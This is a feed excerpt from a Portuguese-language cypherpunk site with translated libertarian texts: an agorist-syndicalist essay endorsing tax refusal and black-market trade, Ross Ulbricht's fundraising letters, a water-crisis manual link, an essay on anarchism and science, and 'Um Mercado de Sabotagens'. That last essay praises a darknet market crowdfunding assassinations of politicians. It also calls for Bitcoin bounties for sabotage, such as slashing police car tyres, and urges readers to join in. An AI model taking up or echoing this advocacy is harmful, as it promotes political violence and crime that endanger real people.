de SEK3. Exemplos disso incluem negócios não licenciados, evasão fiscal, contrabando, tráfico de drogas, acolhimento de imigrantes sem documentos, tráfico de armas, ocupação ilegal e moedas alternativas. O agorismo vertical concentra-se no localismo e na autossuficiência sendo inspirado em livros como &lt;em>Community Power&lt;/em> de Karl Hess. Essa prática inclui a compra de produtos em mercados de produtores e fazendas comunitárias, jardinagem em telhados, uso pessoal e comunitário de energia solar e sistemas aquapônicos, compartilhamento de ferramentas e habilidades comunitárias, apropriação original, agricultura urbana, redes de proteção comunitária e escolas gratuitas. Embora nem todas as táticas verticais sejam estritamente atividades de mercado negro ou cinza (como escolas gratuitas e mercados de agricultores), elas são contra-econômicas, pois desafiam os monopólios corporativos e governamentais e fornecem alternativas de trabalho que são, em comparação, muito mais libertárias.&lt;/p>
&lt;p>Portanto, se nem todas as atividades precisam ser estritamente negras ou cinzas para serem consideradas contra-econômicas, então onde isso exclui coisas como cooperativas e coletivos de trabalhadores ou mesmo sindicalismo selvagem clássico e novas formas de trabalho alternativo? Isso não desafia o estado e o poder corporativo de maneiras significativas, colocando mais poder nas mãos do indivíduo em vez de autoridades coercitivas? O próprio Rothbard apontou que a maioria, senão todas, as corporações baseavam-se em reivindicações de propriedade ilegítimas, portanto, deveriam ser apropriadas pelos trabalhadores — os assalariados pelos quais Rothbard afirmava que o agorismo não podia fazer nada — que investiram seu tempo, trabalho e energia para administrar as operações do dia-a-dia, mas isso não é apenas uma forma de sindicalismo?&lt;/p>
&lt;p>Karl Hess defendeu uma combinação de táticas como um agorista praticante — tanto vertical quanto horizontalmente — e um membro do &lt;em>Industrial Workers of the World&lt;/em>, um sindicato de mais de 100 anos que oferece um desafio revigorante para o modelo sindical explorador de grupos como a &lt;em>AFL-CIO&lt;/em>[2] enquanto defende táticas sindicalistas. E tais táticas parecem se complementar na teoria e, na prática, oferecendo um desafio significativo ao estado e ao poder corporativo, enquanto também cruzam as fronteiras ideológicas entre anarquistas de livre mercado e anarquistas sociais. Na verdade, muitos libertários de livre mercado, além de Hess, fizeram tais alianças com organizações e sindicatos trabalhistas alternativos.&lt;/p>
&lt;p>Avançar conscientemente na construção de tais alianças pode ser bastante vantajoso. Enquanto os agoristas constroem alternativas para o mercado branco nos mercados negro e cinza, os sindicalistas poderiam se concentrar em desafiar as entidades existentes do mercado branco por dentro, eventualmente assumindo o controle como Rothbard defendia. Mas não precisa parar por aí. Os agoristas deveriam de fato defender que os sindicalistas fossem ainda mais longe. Depois que um negócio do mercado branco é sindicalizado com sucesso, os agoristas-sindicalistas devem ajudar na transição do negócio para a ágora. O negócio recém coletivizado deve eventualmente fazer o que todos os bons negócios agoristas fazem: ignorar os regimes de licenciamento estadual, se recusar a pagar impostos, se envolver no uso de moedas alternativas e, em geral, desconsiderar a interferência estatista em seus negócios. Eles acabaram de expulsar o chefe com sucesso, por que se submeter a mais uma autoridade? Eles simplesmente se livraram dos comparsas corporativos que enriqueceram roubando os frutos de seu trabalho, então por que deixar o estado fazer o mesmo através de impostos?&lt;/p>
&lt;p>Para aqueles que se opõem a tais afirmações e gritam &lt;em>#nemtodososchefes&lt;/em>, eu ofereço a seguinte citação de Konkin:&lt;/p>
&lt;blockquote>
&lt;p>“Em uma sociedade agorista, a divisão do trabalho e o respeito próprio de cada trabalhador &amp;hellip; provavelmente eliminará a organização empresarial tradicional — especialmente a hierarquia corporativa, uma imitação do Estado e não do Mercado. A maioria dos empreendimentos serão associações de contratantes independentes, consultores e outras companhias. Muitas podem ser apenas um empreendedor e todos os seus serviços, computadores, fornecedores e clientes. ”[3]&lt;/p>
&lt;/blockquote>
&lt;p>Mesmo Konkin não pôde deixar de notar a natureza exploradora da hierarquia corporativa, acreditando ser um dos restos duradouros do feudalismo e se o indivíduo fosse verdadeiramente respeitado, os chefes lentamente se tornariam uma coisa do passado. Num mercado verdadeiramente liberto, os sindicatos teriam permissão para operar assim como qualquer associação voluntária e grupos como o IWW nos mostram: de maneira sindicalizada, mas sem apelar aos favores do estado.&lt;/p>
&lt;p>Ter uma ágora local estabelecida, não importa o quão pequena seja, também pode proporcionar conforto aos organizadores sindicais que regularmente temem perder seus empregos devido a suas atividades de organização. A ágora oferece aos organizadores o conforto de saber que, se forem demitidos por se organizarem no trabalho, poderão ganhar a vida fora da estrutura capitalista corporativa. Isso permitirá que os organizadores sejam mais ousados em suas ações, desafiando ainda mais a dominação corporativa. Agoristas que estão entusiasmados com as ideias de ação direta e desobediência civil podem até decidir aceitar empregos corporativos a fim de &amp;ldquo;adulterá-los&amp;rdquo; e ajudar a derrubá-los por dentro, o que, ao contrário do temido jogo político, não envolve tomar uma posição de autoridade em contradição com os princípios libertários.&lt;/p>
&lt;p>Nas palavras do falecido SEK3:&lt;/p>
&lt;blockquote>
&lt;p>“Às vezes, os termos &amp;rsquo;livre iniciativa&amp;rsquo; e &amp;lsquo;capitalismo&amp;rsquo; são usados para significar &amp;rsquo;livre mercado&amp;rsquo;. Capitalismo significa a ideologia (ismo) do capital ou capitalistas. Antes do surgimento de Marx, o puro defensor do livre mercado Thomas Hodgskin já havia usado o termo capitalismo como pejorativo[4]; os capitalistas estavam tentando usar a coerção — o Estado — para restringir o mercado. Capitalismo, então, não descreve um mercado livre, mas uma forma de estatismo&amp;hellip; ”[5]&lt;/p>
&lt;/blockquote>
&lt;p>Então, por que não desafiar abertamente o capitalismo e o estado? Por que não recorrer aos exemplos combinados de Rothbard, Konkin e Hess para se inspirar em como tornar o agorismo mais atraente para “a grande maioria dos assalariados neste e em outros países”? Por que não estender a mão e formar uma aliança agorista-sindicalista?&lt;/p>
&lt;p>&lt;strong>Notas:&lt;/strong>&lt;/p>
&lt;p>[1] Rothbard, Murray, &lt;em>Konkin on Libertarian Strategy&lt;/em> [N.A.]&lt;/p>
&lt;p>[2] A Federação Americana do Trabalho e Congresso de Organizações Industriais (do inglês &lt;em>American Federation of Labor and Congress of Industrial Organizations&lt;/em>), conhecida por sua sigla AFL-CIO, é a maior central operária dos Estados Unidos e Canadá. Formada em 1955 pela fusão da AFL (1886) com a CIO (1935). [N.T.]&lt;/p>
&lt;p>[3] Konkin, Samuel, &lt;em>New Libertarian Manifesto&lt;/em> [N.A.]&lt;/p>
&lt;p>[4] Na verdade, Hodgskin usava a palavra &amp;ldquo;capitalista&amp;rdquo; de forma pejorativa. Quem, provavelmente, popularizou o uso pejorativo do termo &amp;ldquo;capitalismo&amp;rdquo; foi o também defensor do livre-mercado e pai do anarquismo Pierre-Joseph Proudhon. [N.T.]&lt;/p>
&lt;p>[5] Konkin, Samuel, &lt;em>An Agorist Primer&lt;/em> [N.A.]&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://c4ss.org/content/45989" target="_blank" rel="noopener noreferrer">Toward an Agorist-Syndicalist Alliance&lt;/a>
&lt;/p></content:encoded></item><item><title>Carta de Ross para o Crypto Show</title><link>https://cypherpunks.com.br/documentos/carta-de-ross-para-crypto-show/</link><pubDate>Thu, 30 Jul 2015 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/carta-de-ross-para-crypto-show/</guid><description>Eu escrevo para expressar minha gratidão por tudo o que vocês estão fazendo em meu nome. Minha mãe, Lynn, me contou que vocês estavam indo acima e até mais além, contribuindo para o esforço de angariação de fundos e direcionando sua criatividade e energia para a minha causa. Obrigado!</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="ross-ulbricht">Ross Ulbricht&lt;/h2>
&lt;p>Enviado terça-feira,30 de julho de 2015&lt;/p>
&lt;p>&lt;/p>
&lt;p>Para todos do The Crypto Show&lt;/p>
&lt;p>Eu escrevo para expressar minha gratidão por tudo o que vocês estão fazendo em meu nome. Minha mãe, Lynn, me contou que vocês estavam indo acima e até mais além, contribuindo para o esforço de angariação de fundos e direcionando sua criatividade e energia para a minha causa. Obrigado!&lt;/p>
&lt;p>Isso fala sobre o seu caráter , que vocês fariam isso por alguém que nunca conheceram, mas eu também entendo que essa luta não é apenas sobre mim. O que eles fizeram e continuam a fazer comigo ameaça a todos nós que amamos a liberdade.&lt;/p>
&lt;p>Eles lutaram com unhas e dentes para segurar minha convicção, mas foram longe demais suprimindo todas as evidências que contradizem sua história. Agora é a nossa vez de retirar as paradas e mostrar exatamente o que foi feito, para que os erros possam ser corrigidos e esse terrível precedente revertido.&lt;/p>
&lt;p>Eu gostaria de estar com vocês, mas estou em um caminho diferente por enquanto. Não importa onde eu esteja, saiba que sempre estarei ao lado de vocês pela liberdade.&lt;/p>
&lt;p>Seu amigo,&lt;br>
Ross&lt;/p>
&lt;p>&lt;em>Se você ainda não assinou o pedido de clemência de Ross, pode assinar&lt;/em> &lt;a href="https://www.change.org/p/freerosspetition-we-seek-potus-s-clemency-for-ross-ulbricht-serving-double-life-for-a-website-realdonaldtrump-free-ross" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/Letter_crypto-fundraiser.jpg" loading="lazy"
width="556" height="667"
/>
&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://freeross.org/crypto-show-letter-2015/" target="_blank" rel="noopener noreferrer">Free Ross Ulbricht&lt;/a>
&lt;/p></content:encoded></item><item><title>Carta de Ross para a Porcfest</title><link>https://cypherpunks.com.br/documentos/carta-de-ross-para-a-porcfest/</link><pubDate>Wed, 01 Jul 2015 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/carta-de-ross-para-a-porcfest/</guid><description>De várias maneiras, minha luta está apenas começando agora que vai para os tribunais superiores, então ainda preciso da ajuda de vocês. Montar um apelo eficaz não é fácil. Eu estou confiante em minha equipe, mas há muito o que podemos fazer sem suas doações . O que podemos ter a certeza é que o governo gastará o máximo de seus impostos …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="ross-ulbricht">Ross Ulbricht&lt;/h2>
&lt;p>Enviado em julho de 2015&lt;/p>
&lt;p>&lt;/p>
&lt;p>Olá Porcfest,&lt;/p>
&lt;p>Eu estou escrevendo para vocês de meu celular em Nova Iorque . Desculpe, eu não podia fazer isso este ano. Infelizmente o pior cenário aconteceu para mim e eu fui condenado a passar o resto de minha vida na prisão. Eu sou um eterno otimista e nunca vou desistir da minha soltura. Tenho confiança de que o tribunal de apelações reconhecerá os erros de alguns e a corrupção direta de outros no governo e me dará algum tipo de remédio. Poderia ser um novo julgamento, onde esperamos que toda a história possa ser contada, ou o caso poderia ser totalmente descartado.&lt;/p>
&lt;p>De várias maneiras, minha luta está apenas começando agora que vai para os tribunais superiores, então ainda preciso da ajuda de vocês. Montar um apelo eficaz não é fácil. Eu estou confiante em minha equipe, mas há muito o que podemos fazer sem suas doações . O que podemos ter a certeza é que o governo gastará o máximo de seus impostos necessários para manter-me atrás das grades, então, por favor, ajude como puder.&lt;/p>
&lt;p>Espero que minha história tenha lançado alguma luz sobre alguns dos problemas que enfrentamos atualmente. Há muitos, mas por favor não deixe o que aconteceu comigo te levar ao desespero. Mantenha-se de pé pela liberdade e respeito aos nossos direitos. Continuem lutando por sua liberdade e, eventualmente, vamos vencer.&lt;/p>
&lt;p>Felicidades,&lt;br>
Ross&lt;/p>
&lt;p>&lt;strong>Nota: Com a permissão de Ross, algumas palavras foram trocadas de acordo com a orientação dos advogados. Era uma questão de semântica e uso incorreto de termos legais, não uma mudança de significado.&lt;/strong>&lt;/p>
&lt;p>&lt;em>Se você ainda não assinou o pedido de clemência de Ross, pode assinar&lt;/em> &lt;a href="https://www.change.org/p/freerosspetition-we-seek-potus-s-clemency-for-ross-ulbricht-serving-double-life-for-a-website-realdonaldtrump-free-ross" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/Ross_porcfest2015.jpg" loading="lazy"
width="566" height="642"
/>
&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://freeross.org/porcfest-letter-2015/" target="_blank" rel="noopener noreferrer">Free Ross Ulbricht&lt;/a>
&lt;/p></content:encoded></item><item><title>Água: Manual de sobrevivência para a crise</title><link>https://cypherpunks.com.br/documentos/manual-de-sobrevivencia-para-a-crise/</link><pubDate>Sun, 01 Mar 2015 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/manual-de-sobrevivencia-para-a-crise/</guid><description>A intenção deste manual é divulgar dicas para atravessar da melhor forma possível situações difíceis que podem ocorrer devido à falta de água nas cidades.</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="água-manual-de-sobrevivência-para-a-crise">Água: Manual de sobrevivência para a crise&lt;/h1>
&lt;h2 id="aliança-pela-água">Aliança Pela Água&lt;/h2>
&lt;p>&lt;/p>
&lt;p>A intenção deste manual é divulgar dicas para atravessar da melhor forma possível situações difíceis que podem ocorrer devido à falta de água nas cidades.&lt;/p>
&lt;p>&lt;a href="https://www.aliancapelaagua.com.br/wp-content/uploads/2016/10/Manual-de-Sobrevivencia-para-a-Crise.pdf" target="_blank" rel="noopener noreferrer">Água: Manual de sobrevivência para a crise - PDF&lt;/a>
&lt;/p>
&lt;p>fonte: &lt;a href="https://www.aliancapelaagua.com.br/publicacoes/" target="_blank" rel="noopener noreferrer">O que fazer em situações de colapso no abastecimento de ÁGUA&lt;/a>
&lt;/p></content:encoded></item><item><title>Um Mercado de Sabotagens</title><link>https://cypherpunks.com.br/documentos/um-mercado-de-sabotagens/</link><pubDate>Thu, 30 Jan 2014 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/um-mercado-de-sabotagens/</guid><description>Essas ideias, embora implícitas na atitude criptoanarquista, não são novas dentro do anarquismo. Durante o apogeu do movimento abolicionista nos Estados Unidos, Lysander Spooner estimulava atos individuais de sabotagem e violência contra os senhores de escravos não apenas cometidos por escravos e por aqueles comprometidos com a causa da …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Erick Vasconcelos
Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>Tradução encontrada em: &lt;a href="https://c4ss.org/content/25146" target="_blank" rel="noopener noreferrer">C4SS - Um Mercado de Sabotagens&lt;/a>
&lt;/p>
&lt;h1 id="um-mercado-de-sabotagens">Um mercado de sabotagens&lt;/h1>
&lt;p>No século 19 e no final do século 20, o anarquismo chegava, de várias formas, à cultura e ao pensamento popular. Isso não acontecia por causa de teorias, mas por conta de expressões imediatas da autonomia individual. Tal processo revolucionário era conhecido como &lt;em>ação direta.&lt;/em> A ação direta enfatiza o direito ou o dever de cada indivíduo de defender sua liberdade através de ações, sabotando abertamente os sistemas de opressão e destruindo essas estruturas tirânicas para que todos possam ver.&lt;/p>
&lt;p>Infelizmente, essa ideia acabou enfraquecida ou abandonada por alguns motivos. Uma delas foi o disciplinamento dos trabalhadores, com a conexão de seus interesses aos do estado e aos das grandes empresas. O outro motivo foram os retornos decrescentes. Os anarquistas e trabalhadores revoltosos regularmente eram feridos pela polícia ou trancados na prisão por anos. Insistir em ser livre é ótimo, mas não quando o preço é a diminuição da sua capacidade de agir. A liberação individual é difícil, infelizmente. Se todos nós nos deparamos com uma luta aparentemente sem fim, por que nos preocupar?&lt;/p>
&lt;p>Estamos aqui para propor uma solução para essa falta de incentivos. No verão de 2013, um mercado foi aberto na darknet dedicado ao financiamento do assassinato de figuras públicas. Em particular, pessoas ligadas à política. Alguns meses atrás, essa ideia causou certa controvérsia quando um artigo da revista Forbes o mencionava. E, embora o site seja novo e revolucionário, a ideia já é um pouco antiga. O objetivo? Incentivar os líderes políticos de forma mais efetiva a obedecer o que o público deseja e diminuir a culpabilidade de quaisquer indivíduos se um assassinato ocorrer. O uso de criptomoedas para esconder a identidade dos financiadores foi possibilitado pela popularização do Bitcoin e mais ainda pela Dark Wallet, criada por Cody Wilson. A ideia original é de Jim Bell, um dos fundadores do criptoanarquismo e autor de &lt;em>&lt;a href="https://sabotagem.net/pol%C3%ADtica-de-assassinato-8ec858033248" target="_blank" rel="noopener noreferrer">Assassination Politics.&lt;/a>
&lt;/em> Ele foi subsequentemente perseguido pelo governo federal dos Estados Unidos e vive entre a prisão e a liberdade há mais de uma década.&lt;/p>
&lt;p>O que esse mercado e essa ideia de política de assassinatos tem a ver com a ação direta? Tem a ver com o incentivo de atos individuais de sabotagem, vandalismo ou expropriação. Ao contrário do cenário anterior, os indivíduos têm um incentivo adicional além de alcançar a revolução: podem obter uma recompensa por seu ato de ativismo revolucionário. Isso aumenta a probabilidade de que, se alguém organizasse uma greve no trabalho, os colegas tivessem interesse em contrariar os desejos da empresa. Fura-greves frequentemente são motivados pela possibilidade de ganhar mais dinheiro e não pensam em apoiar o chefe. Podemos, então, dizer a ele: “Junte-se a nós e você poderá ganhar uma quantidade interessante de Bitcoins”.&lt;/p>
&lt;p>Claro, as sabotagens não precisam ser feitas apenas “no trabalho”. Podemos também incentivar atos de sabotagem e desobediência contra a política. “5 BTCs para o homem ou a mulher que furar todos os pneus de carros da polícia que estejam na avenida principal na quarta-feira!” Essa é uma motivação nova e talvez necessária para a execução de atos que talvez não sejam imediatamente recompensadores. Por que não se demitir do seu emprego principal e trancar por fora a porta do delegado do município? Poderíamos até apostar que os próprios policiais aceitariam dinheiro para fazer isso, se o valor fosse bom. Ficaríamos felizes em fornecer o dinheiro, policial.&lt;/p>
&lt;p>Essas ideias, embora implícitas na atitude criptoanarquista, não são novas dentro do anarquismo. Durante o apogeu do movimento abolicionista nos Estados Unidos, Lysander Spooner estimulava atos individuais de sabotagem e violência contra os senhores de escravos não apenas cometidos por escravos e por aqueles comprometidos com a causa da abolição, mas também por aqueles que trabalhavam como “homens livres” para os vigias de escravos. Spooner via que esses homens pouco se importavam com suas tarefas e estavam mais interessados em incentivos financeiros. “Que seja”, diz Spooner. Nós queremos que esses desgraçados frios e calculistas trabalhem para nós.&lt;/p>
&lt;p>Em &lt;em>&lt;a href="https://praxeology.net/LS-PAS.htm" target="_blank" rel="noopener noreferrer">A Plan for the Abolition of Slavery,&lt;/a>
&lt;/em> Spooner afirma:&lt;/p>
&lt;blockquote>
&lt;p>“Vocês estão prontos para realizar todo aquele trabalho vil e desumano, que deve ser executado por alguém, mas que os senhores de escravos mais decentes não desejam realizar. No entanto, já ouvimos ao menos uma boa opinião a respeito de vocês. Isto é, a de que não possuem quaisquer preconceitos de cor e de que não são tão contrários à liberdade a ponto de dispensarem dinheiro em troca do auxílio para que um escravo chegue ao Canadá, da mesma maneira que não hesitariam em capturar fugitivos e devolvê-los aos senhores. Se vocês são, assim, tão indiferentes a quem servem, nós os aconselhamos a, a partir de agora, servir ao escravo, e não ao senhor. Deem meia-volta e ajudem o roubado a roubar os ladrões. Aqueles podem pagar melhor que estes. Ajudem-nos a reaver suas posses legítimas e seus pagamentos serão satisfatórios. Ajudem-nos a açoitar os senhores de escravos e eles poderão pagar dez vezes mais do que vocês jamais receberam pelo açoite de um escravo. Ajudem-nos a sequestrar escravos e eles poderão pagar mais do que você receberá ao capturar um fugitivo. Seja honesto com os escravos e acreditamos que eles pagarão bem por tais serviços. Sejam desonestos e esperamos que eles os matem.”&lt;/p>
&lt;/blockquote>
&lt;p>Isso, sim, é a liberação por diversão e lucro. Não requer que um slogan moralista seja empunhado por todos aqueles que sejam contrários à escravidão, o trabalho assalariado ou outras instituições que se originam no estado. O momento de recitar lugares-comuns vazios sobre a decência da liberdade humana já passou. O mundo daqueles que servem a senhores de escravos e daqueles que não se interessam pela liberdade está ruindo. O cinto de utilidades do revolucionário se expande cada vez mais. Não é mais necessário apodrecer numa cela de prisão para reclamar o direito a uma vida que é legitimamente nossa. Junte-se a esta rebelião criptográfica.&lt;/p>
&lt;p>Essas comunidades online funcionariam como o que Spooner chamou de “comitês de vigilância”, em que as injustiças que não são punidas pelos meios políticos são julgadas diretamente por forças descentralizadas. Spooner também reconhecia os perigos dessas ações e, como afirmamos acima, tais planos não eram aplicáveis sem grandes riscos individuais. Isso não mais ocorre necessariamente. É hora de implementarmos essa ideia do século 19 no século 21.&lt;/p>
&lt;p>Evidentemente, há alguns problemas com a aplicação dessa ideia, &lt;a href="https://c4ss.org/content/22655" target="_blank" rel="noopener noreferrer">como um editorial anterior do C4SS mostrou.&lt;/a>
Porém, esses mercados não se restringem a atividades revolucionárias. As pessoas podem utilizá-los para o que desejarem. Alguns temem que estruturas assim poderiam motivar atos de agressão e violência injustificáveis, contra pessoas que não merecem tratamentos hostis. Porém, como quase sempre é o caso, a caixa de Pandora está aberta. Nada impede que seu vizinho abra um mercado de linchamentos de uma classe desfavorecida. Também não há nada que impeça que essa mesma pessoa atire ou promova linchamentos individualmente. Assim, precisamos ter em mente que, no caso de ideias potencialmente perigosas como estas, há uma maior necessidade de educar e incentivar o tipo certo de cultura.&lt;/p>
&lt;p>Com novos mecanismos de defesa, sempre surgem novos mecanismos de opressão. Armas eram uma ótima ideia até que decidimos dar à instituição com o monopólio da violência a maior parte delas. Portanto, devemos desestimular atos verdadeiramente opressivos nesses mercados. Devemos fomentar uma sociedade de pessoas que rejeitem as autoridades econômicas e políticas e que estejam dispostas a sair de seus empregos e a ganhar dinheiro combatendo o sistema de opressão, um ato de cada vez. A hora de agir é agora. Nunca houve um momento mais oportuno. A comunidade libertária está na vanguarda desta tecnologia, empurrando-a à frente, facilitando a possibilidade de quebrar as leis injustas muito mais fácil a todo o momento, tornando mais simples se envolver em atividades consideradas ilegais e indesejáveis. Esta é nossa oportunidade.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://c4ss.org/content/23270" target="_blank" rel="noopener noreferrer">A Market For Sabotage&lt;/a>
&lt;/p></content:encoded></item><item><title>Todo Cientista Deve Ser Um Anarquista</title><link>https://cypherpunks.com.br/documentos/todo-cientista-deve-ser-anarquista/</link><pubDate>Sun, 29 Dec 2013 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/todo-cientista-deve-ser-anarquista/</guid><description>A primeira vez que me deparei com a afirmação de que uma sociedade anárquica impediria o progresso científico, fiquei chocado demais — e depois ocupado gargalhando — para esboçar uma resposta completa.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="william-gillis">William Gillis&lt;/h2>
&lt;p>A primeira vez que me deparei com a afirmação de que uma sociedade anárquica impediria o progresso científico[1], fiquei chocado demais — e depois ocupado gargalhando — para esboçar uma resposta completa.&lt;/p>
&lt;p>É um sentimento surpreendente para mim por uma série de razões, principalmente pela conhecida correspondência entre o progresso científico e a liberdade social e material nas sociedades de massa. Suponho que os liberais podem estar inclinados a descartar essa relação como uma correspondência de baixo valor — como apenas se a liberdade de expressão é permitida ou se as pessoas ainda têm tempo para qualquer coisa além da luta para permanecer viva — mas para mim a conexão parece obviamente fundamental. As relações de poder de qualquer tipo são, em última análise, mais restritivas à investigação do que jamais poderiam ser benéficas para ela. A lógica é simples: o controle só pode ser alcançado por meio do desengate e da rigidez. Portanto, qualquer estrutura de poder bem-sucedida deve envolver mecanismos para punir e suprimir hábitos de investigação.&lt;/p>
&lt;p>Pais, professores, chefes e policiais&amp;hellip; todos eles alcançam o controle imitando o sistema binário de ameaças(lei absoluta e punição) que o estado usa. Em vez de um sistema orgânico de dar e receber constante e descentralizado que recompensa uma atenção mais ampla, a abordagem do arquiteto procura, idealmente, reduzir a atenção do sujeito a uma única entrada controlável. Isso cria um ambiente artificial que recompensa os hábitos de rigidez e pune a investigação persistente. E, claro, esses hábitos são replicados nas comunidades e estruturas que eles criam com seus colegas. Pouca coisa partiu meu coração mais do que passar de lecionar para alunos da terceira série, que adoram estudar álgebra e cálculo avançados, para alunos do ensino médio cansados ​​e quebrantados, cujas prioridades eram a sobrevivência social e a fuga da miséria. Basta dizer que as pessoas dariam muito mais valor à ciência se não fossem constantemente derrotadas por terem uma mente aberta. É verdade que pode levar algumas gerações para que literalmente todos se tornem cientistas, mas mesmo uma melhoria moderada faria maravilhas.&lt;/p>
&lt;p>Esse é o raciocínio para minha inclinação geral de que as sociedades anarquistas seriam muito mais facilitadoras da investigação científica. Mas as especificações pintam exatamente o mesmo quadro.&lt;/p>
&lt;p>Os meios centralizados de pesquisa e desenvolvimento característicos do envolvimento do Estado são extremamente ineficientes.(Não se pode deixar de suspeitar que pode até ser intencional.) Empreendimentos de capital intensivo como o LHC e a NASA são amplamente conhecidos por serem crivados de ineficiências burocráticas, em alguns casos aumentando os custos em uma ordem completa de magnitude. O LHC funcionaria melhor como uma cooperativa que elegesse os seus, recebesse doações e agisse de forma autônoma em seu próprio interesse, em vez de permitir que cada decisão fosse o resultado de disputas diplomáticas totalmente independentes. A NASA funcionaria melhor fragmentada: alguns grandes projetos agindo como ditas cooperativas, outros competindo.&lt;/p>
&lt;p>O modelo de pesquisa corporativa consiste na coleta incremental de dados, severamente afetada por questões militares e de patentes. Além de ser uma cicatriz psicológica enorme para os cientistas e suprimir ativamente o tipo de saltos paradigmáticos de pensamento profundo que impedem o acúmulo de desordem teórica, o foco da investigação é amplamente determinado de cima para baixo, de modo a maximizar os benefícios de curto prazo para aqueles que estão no poder. Obviamente, isso levou a todos os tipos de consequências terríveis e ajudou a reforçar a noção dos cientistas como cães de colo irresponsáveis de autoridade, mas, o que é mais importante, teve um efeito retardador no desenvolvimento científico como um todo. Acompanhamento lógico em descobertas ou desenvolvimentos teóricos não são apenas perseguidos de forma desigual, trens inteiros de investigação são artificialmente acelerados ou desacelerados em relação uns aos outros, criando situações em que realizações que falam a questões centrais com outro trem não são descobertas até o início de seu desenvolvimento.&lt;/p>
&lt;p>A ciência funciona melhor em um estado de anarquia informacional. Os periódicos incluídos no Paywall são agora amplamente reconhecidos como uma mancha em nosso campo e um prejuízo para o progresso científico. Mas o mesmo acontece com a severidade dos acordos de não divulgação(moldados tanto por padrões de mercado distorcidos em relação ao capital e pela disponibilidade de coerção estatal, em vez de sistemas de arbitragem policêntricos baseados exclusivamente na reputação) para não mencionar a própria exequibilidade da propriedade intelectual abertamente suprimem a concorrência e inovação.&lt;/p>
&lt;p>Nenhuma dessas questões de eficiência relativa deve ser tão surpreendente. Em última análise, qualquer busca coletiva é um problema de processamento e quanto mais descentralizado e ricamente conectado um sistema é melhor ele é capaz de processar.&lt;/p>
&lt;p>Mas e quanto ao próprio financiamento?&lt;/p>
&lt;p>Por um lado, há uma tendência de se dizer bem, então e se os cientistas acabarem empurrando esfregões em tempo parcial? Muitos cientistas atualmente perdem muito tempo em trabalhos irrelevantes para suas investigações(ensino, etc.) e alguns dos melhores desenvolvimentos vieram de pessoas que preferiam ganhar seu pão com trabalhos secundários menos exigentes.&lt;/p>
&lt;p>Mas o truque é que as eficiências dos arranjos sociais anarquistas se estendem à infraestrutura de suporte social para a ciência também. Uma sociedade mais eficiente oferece maior abundância de fundo, libertando mentes questionadoras que poderiam estar economicamente presas e proporcionando maior riqueza real em todos os níveis. Mesmo ignorando sua má alocação ridícula e ineficiência, o financiamento do governo para pesquisa é tanto uma fração do disponível através de doações privadas quanto uma porcentagem ridiculamente pequena dos dólares de impostos coletados atualmente, mesmo em um líder mundial como os EUA. Não demoraria muito para expandir o setor privado/beneficente voluntário(por grupos de investimento ou doações de entusiastas, como atualmente presente em muitos desenvolvimentos de exploração espacial extremamente caro) para pelo menos cobrir os custos existentes. Além disso, a interação entre pesquisadores/designers, seus apoiadores e o resto da população seria mais sutil, transparente e responsável em todas as extremidades. E isso provavelmente gerará ainda mais investimentos. Estruturas de poder hierárquicas, centralizadas e baseadas em decretos, como o estado e as corporações, agem como gargalos de informações em todos os níveis e estão sujeitas a oscilações totalizantes na política, sem capacidade para pressões graduais&lt;/p>
&lt;p>Simplificando, parece óbvio para mim que haveria mais cientistas e um maior impulso para a ciência em uma sociedade anarquista, além de um maior grau de eficiência que beneficiaria a ciência direta e indiretamente.&lt;/p>
&lt;blockquote>
&lt;p>“Se o Estado tivesse sido abolido há um século, todos nós teríamos robôs e casas de veraneio no cinturão de asteroides.”&lt;/p>
&lt;p>–Samuel Konkin&lt;/p>
&lt;/blockquote>
&lt;p>[1] Devo observar que estou usando a definição de ciência que envolve a busca de explicações diretas(ou seja, física, matemática, química e um pouco de biologia), em vez de simplesmente qualquer coisa que se envolva no empirismo.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="http://humaniterations.net/2011/08/10/every-scientist-should-be-an-anarchist/" target="_blank" rel="noopener noreferrer">Every Scientist Should Be An Anarchist - William Gillis&lt;/a>
